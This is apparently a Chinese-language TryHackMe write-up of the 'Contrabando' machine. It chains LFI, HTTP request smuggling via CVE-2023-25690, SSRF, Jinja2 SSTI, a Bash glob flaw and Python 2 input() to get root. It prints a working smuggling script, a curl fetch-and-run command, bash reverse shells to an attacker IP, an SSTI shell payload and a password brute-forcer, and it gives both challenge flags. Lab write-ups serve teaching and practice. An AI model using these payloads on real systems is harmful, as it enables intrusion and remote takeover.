Contrabando writeup — TryHackMe
这台机器呈现了一个复杂而迷人的攻击路径,需要跨不同系统层链接多个漏洞。初始入口点是本地文件包含(LFI)漏洞,利用该漏洞发现了一个关键的HTTP请求走私漏洞(CVE-2023–25690)。此漏洞是绕过反向代理并在后端Docker容器上实现远程代码执行(RCE)的关键。在逃离容器的网络后,我在内部服务上发现了服务器端模板注入(SSTI)漏洞,从而获得了用户shell。最后的权限提升涉及两个步骤:首先,通过GLOB模式匹配利用一个实现不当的Bash脚本来窃取密码;其次,利用Python2脚本中的一个危险代码构造最终获得root访问权限。
侦察阶段
我使用nmap进行积极的全面端口扫描,以快速识别目标机器上的所有可用服务。使用的标志是-sS、-p-和—min-rate 5000,以覆盖所有端口并快速完成。
(nmap1)
发现:
- 端口22:开放(SSH)
- 端口80:开放(HTTP)
对这些特定端口进行的后续服务版本和脚本扫描提供了更多细节。
(nmap)
结果:
- 端口80:Apache httpd 2.4.55
枚举阶段
导航到端口80显示了一个简单的"即将推出"页面,带有一个指向测试版站点的链接,重定向到/page/home.html。
(soon)
/page/端点结构立即暗示了本地文件包含(LFI)的潜在向量。
(url)
我开始通过模糊测试来查找目录。对Web根目录(/)的初始扫描显示信息很少,但模糊测试/page/目录本身(/page/FUZZ)返回了大量的200 OK响应。停止扫描后,我意识到这是预期的功能。
(gobuster)
我决定尝试其中一个端点/page/,它显示readfile()函数正在运行,还有一个名为index.php的文件。
(about)
我访问了/page/index.php并查看了页面源代码。这揭示了驱动/page/端点的后端逻辑。
(index.php)
为了测试LFI,我决定再次使用Gobuster,但使用其模糊测试模式。我使用的命令如下(我过滤了长度0–300,因为请求的平均响应是这个大小,这阻止了我看到好的请求)。
gobuster fuzz -u 'http://10.10.81.251:80/page/FUZZ' -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -t 100 --exclude-length 0-300
(fuzz)
在模糊测试过程中,一些格式错误的请求返回了400 Bad Request错误。这些错误包含了一个揭示性的头部:服务器将自己标识为Apache 2.4.54,并且在172.18.0.3:8080上。
(apache/2.4.54)
这可能证明了系统的构建方式:主机上的Apache反向代理(端口80)将请求转发到Docker容器内的Apache后端服务(端口8080)。
通过测试一个导致状态码200的有效载荷,我有效地验证了服务器易受LFI攻击。
(lfi)
由于有效载荷的结构,我了解到像../../../../etc/passwd这样的标准LFI有效载荷被代理阻止,但可以通过双重URL编码绕过。这使我能够使用更短的有效载荷。
(short)
为了验证是否是Docker,我决定使用Burp Suite并拦截对/etc/apache2/sites-available/000-default.conf的请求。
拥有VirtualHost *:8080证实了我的怀疑。
这是关键的洞察:前端服务器(在端口80上)充当反向代理。当用户请求/page/something时,代理会将请求作为index.php?page=something转发给后端应用程序(在Docker容器的端口8080上)。后端的index.php脚本然后获取page参数并将其直接传递给readfile()函数,使其易受LFI攻击。
作为下一步,我决定再次列出/page/中的目录,但就像我对FUZZ所做的那样,按长度过滤。
gobuster dir -u "http://10.10.81.251:80/page/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x js,json,py,php,log,txt --no-error -t 400 --exclude-length 100-200 -b 400
(gobuster)
扫描显示了一个名为/gen.php的文件。通过使用LFI,我能够读取其源代码。
(post)
我看到如果提供了length POST参数,它以未清理的方式使用了exec()函数。出现的第一个问题是我无法直接访问该文件,因此我决定测试/page/端点是否允许包装器。
(wrapper)
它确实允许它们,因此我决定通过向我的python3服务器-m http.server发送请求来测试SSRF。
(ssrf)
拥有SSRF使我能够通过向localhost发送请求来访问gen.php文件。
(localhost)
挑战在于反向代理将我的POST请求转换为GET请求,阻止我直接发送必要的参数。
(index.php?page=http://localhost:8080/gen.php)
解决方案是后端上的Apache版本(2.4.54),它易受通过CVE-2023–25690的HTTP请求走私攻击。此漏洞允许攻击者发送带有嵌入的CRLF(\r\n或%0d%0a)序列的特制HTTP请求。前端和后端服务器对单个请求的解释不同,允许攻击者"走私"第二个隐藏的请求直接到后端应用程序,绕过代理的规则。
利用阶段
为了验证服务器是否易受攻击,我决定使用在dhmosfunk的GitHub上找到的PoC。
%20HTTP/1.1%0d%0aFoo:%20baarr
(poc)
有效载荷所做的是在HTTP版本之后发送一个额外的请求。如果发送请求时没有发生错误,则意味着服务器易受攻击,并且请求已成功"走私"通过。
现在我需要一个功能脚本来帮助我,我在GitHub上找到了thanhlam-attt的一个(我修改了脚本以使其适用于这台机器,你必须安装pwntools才能使此脚本工作)。
from pwn import *
def request_prepare():
hexdata = open("pre.txt", "rb").read()
# print(hexdata)
hexdata = hexdata.replace(b' ', b'%20')
hexdata = hexdata.replace(b'\r\n', b'%0d%0a')
hexdata = hexdata.replace(b'?', b'%3f')
hexdata = hexdata.replace(b'=', b'%3d')
# print(hexdata)
uri = b'/page/index.php%20HTTP/1.1%0d%0aHost:%20localhost%0d%0aUser-Agent:%20Mozilla/5.0%20(' \
b'Windows%20NT%2010.0;%20Win64;%20x64;%20rv:120.0)%20Gecko/20100101%20Firefox/120.0%0d%0a%0d%0a' + hexdata + \
b'%0d%0a%0d%0aGET%20/abc'
reqst = b'''GET %b HTTP/1.1\rHost: localhost\r\r''' % uri
return reqst
def send_and_recive(req):
rec = b''
ip = '10.10.214.175'
port = 80
p = remote(ip, int(port))
p.send(req)
rec += p.recv()
print(rec.decode())
p.close()
return rec.decode()
req = request_prepare()
print(req)
# print(urllib.parse.unquote(req.decode()))
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()
运行脚本的步骤如下:
-
创建一个pre.txt文件,其中包含您想要走私到后端/gen.php的完整原始HTTP POST请求。为此,复制下面的有效载荷,将其粘贴到burp suite中,然后使用您的IP和PORT重新计算内容长度,然后右键单击 -> 复制到文件。
POST /gen.php HTTP/1.1 Host: localhost Content-Length: 53 Content-Type: application/x-www-form-urlencoded length=1;sh -c "$(curl -s 10.13.91.64:8000/shell.sh)"(53)
-
修改脚本中的IP变量并输入受害者机器的IP地址。
-
创建一个shell.sh文件,其中包含一个bash反向shell,并在您为pre.txt中curl请求指定的相同端口上使用Python HTTP服务器托管它。
bash -c 'bash -i >& /dev/tcp/10.13.91.64/4444 0>&1' -
在您在shell.sh文件中设置的相同端口上设置一个netcat监听器并运行脚本。
该脚本制作了一个利用CRLF漏洞的请求,将我的恶意POST请求走私过代理。
(request)
后端服务器执行了它,授予我Docker容器内www-data用户的反向shell。
(www-data)
从容器中,我需要探索主机的内部网络。因此,我需要将一个静态的nmap二进制文件上传到目标,为此,我首先移动到/tmp目录并创建一个文件夹,然后使用curl向我的python服务器发出请求以下载该文件。
(curl)
下载后,我解压它并使用chmod +x赋予执行权限。
(extraer)
为了运行它,我只使用了—min-rate=5000标志,但它扫描了主机172.18.0.1到172.18.0.3上的所有端口。
(5000)
扫描显示Docker主机(172.18.0.1)上的端口5000开放。我使用curl与此新服务交互(我已经利用了端口80和8080)。
(fetch)
该服务获取一个URL。我决定向我的Python服务器发送一个请求,但当我没有收到任何有趣的内容时,我决定改为将其发送到netcat。
(nc)
通过使用nc检查请求,我发现它使用了PycURL库,该库支持file://协议。这使我能够从主机系统读取本地文件。
(file:///etc/passwd)
这揭示了一个名为hansolo的用户。知道他的名字后,我决定检查是哪个用户正在运行此服务进程。
(file:///proc/self/environ)
这揭示了该进程由hansolo运行。读取/proc/self/cmdline显示了应用程序路径:/home/hansolo/app/app.py。
(app.py)
app.py的源代码是关键。它使用了高度危险的render_template_string()函数来渲染用户控制的输入。
(template)
将website_content请求直接发送到render_template_string使应用程序易受SSTI攻击。当应用程序将用户输入嵌入到模板中,然后在服务器上执行时,就会发生服务器端模板注入。这允许攻击者注入可能导致RCE的模板指令。在这种情况下,应用程序使用的是Jinja2模板。
我通过托管一个名为test.html的文件来确认该漏洞,该文件包含有效载荷{{ 7*7 }}。当应用程序获取并渲染它时,输出是49,证明输入正在被执行。
(test.html)
然后我托管了一个更高级的Jinja2 SSTI反向shell有效载荷并触发它。
{{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.13.91.64/5555 0>&1\"').read()}}
这给了我主机上hansolo用户的反向shell。
(hansolo)
权限提升
我做的第一件事是稳定shell,为此我采取了以下步骤:
(reset)
然后我将终端类型设置为xterm并导出变量TERM和SHELL。
(export)
现在我决定开始枚举以提升权限。我运行了sudo -l,发现我可以在没有密码的情况下以root身份执行一个命令。
(sudo -l)
专注于第一个(因为它没有要求密码),我决定查看其内容。
(/root/password)
vault脚本将用户输入与/root/password的内容进行比较。关键缺陷在于其比较逻辑。变量没有加引号。在Bash中,这会导致==运算符执行模式匹配(GLOB扩展)而不是字符串匹配。通过输入单个星号*,我匹配了任何非空字符串,欺骗脚本授予访问权限。
(*)
这并没有太大帮助,所以看到脚本分析了/root/password,我决定使用我在voltatach博客上找到的一个脚本来发现这个密码是什么。
#!/usr/bin/env python3
import subprocess
import string
CMD = ["sudo", "/usr/bin/bash", "/usr/bin/vault"]
CHARS = string.ascii_letters + string.digits + string.punctuation
CHARS = CHARS.replace("*", "").replace("?", "").replace("[", "").replace("]", "")
def run_with_input(candidate: str) -> bool:
proc = subprocess.run(
CMD,
input=candidate + "*\n",
text=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT
)
out = proc.stdout.strip()
return "Password matched!" in out
def brute_force():
found = ""
while True:
progress = False
for c in CHARS:
attempt = found + c
print(f"\33[2K\r[+] Progress: {found}{c}", end="", flush=True)
if run_with_input(attempt):
found += c
progress = True
break
if not progress:
print(f"\33[2K\r[!] Final password: {found[:-1]}")
break
if __name__ == "__main__":
brute_force()
该脚本使用GLOB模式(例如,a*, b*, [a-z], ?)执行暴力攻击。这依次确定了密码的长度和每个字符。运行脚本后,我获得了一个密码。
(password)
第二个sudo命令很有趣:它允许我使用任何python*解释器运行一个脚本。我检查了该脚本,发现它使用input()来获取用户数据。
(input())
关键区别在于Python 2和Python 3之间:
- 在Python 3中,input()始终将用户的输入作为字符串返回。
- 在Python 2中,input()将用户的输入作为Python代码进行评估。这是极其危险的。
我使用Python2执行了该脚本,提供了窃取的密码。对于最后的提示("您想为密码添加的任何单词"),我提供了一个生成bash shell的Python命令:import("os").system("/bin/bash")
(root)
因为脚本是用Python2运行的,input()函数将__import__("os").system("/bin/bash")作为Python代码进行评估,以root权限执行它,并授予我root shell。现在我可以读取root标志的内容。
(root.txt)
所有问题的答案是:
- 第一个标志是什么? THM{Th3_BeST_SmuGGl3R_In_Da_GalaXy}
- 第二个标志是什么? THM{All_AbouT_PassW0rds}
就这些了!感谢阅读,下次再见!,我希望这篇Writeup对您有所帮助。